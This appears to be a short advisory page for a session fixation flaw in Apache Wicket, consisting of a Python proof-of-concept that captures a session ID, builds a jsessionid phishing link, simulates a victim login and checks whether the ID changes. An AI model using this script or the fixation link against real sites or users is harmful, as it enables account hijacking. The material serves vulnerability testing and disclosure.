CVE-2026-40010 Apache Wicket会话固定漏洞

# PoC Code for Session Fixation in Apache Wicket # This script demonstrates the concept of the attack. import requests target_url = "http://vulnerable-wicket-app.com" login_endpoint = "/login" # Step 1: Attacker establishes a session and captures the Session ID print("[Step 1] Attacker visiting site to get a session...") session = requests.Session() initial_response = session.get(target_url) # Assuming the cookie name is JSESSIONID (common in Java/Servlet apps) victim_session_id = session.cookies.get('JSESSIONID') print(f"[+] Captured Session ID: {victim_session_id}") # Step 2: Attacker tricks the victim into using this Session ID # In a real scenario, this would be done via a phishing link: <url>;jsessionid=ID print(f"\n[Step 2] Attacker sends malicious link with Session ID to victim...") print(f"Link: {target_url};jsessionid={victim_session_id}") # Step 3: Victim logs in using the provided Session ID # We simulate this by reusing the session object which holds the cookie print("\n[Step 3] Victim logs in...") login_credentials = { "username": "victim", "password": "password123" } login_response = session.post(target_url + login_endpoint, data=login_credentials) # Step 4: Verify if Session ID changed after login post_login_session_id = session.cookies.get('JSESSIONID') print(f"\n[Step 4] Checking Session ID after login...") print(f"Original ID: {victim_session_id}") print(f"Post-login ID: {post_login_session_id}") if victim_session_id == post_login_session_id: print("\n[!] VULNERABILITY CONFIRMED: Session ID did not change after login.") print("[!] Attacker can now authenticate using the original Session ID.") else: print("\n[-] Session ID changed. Fixation attack failed.")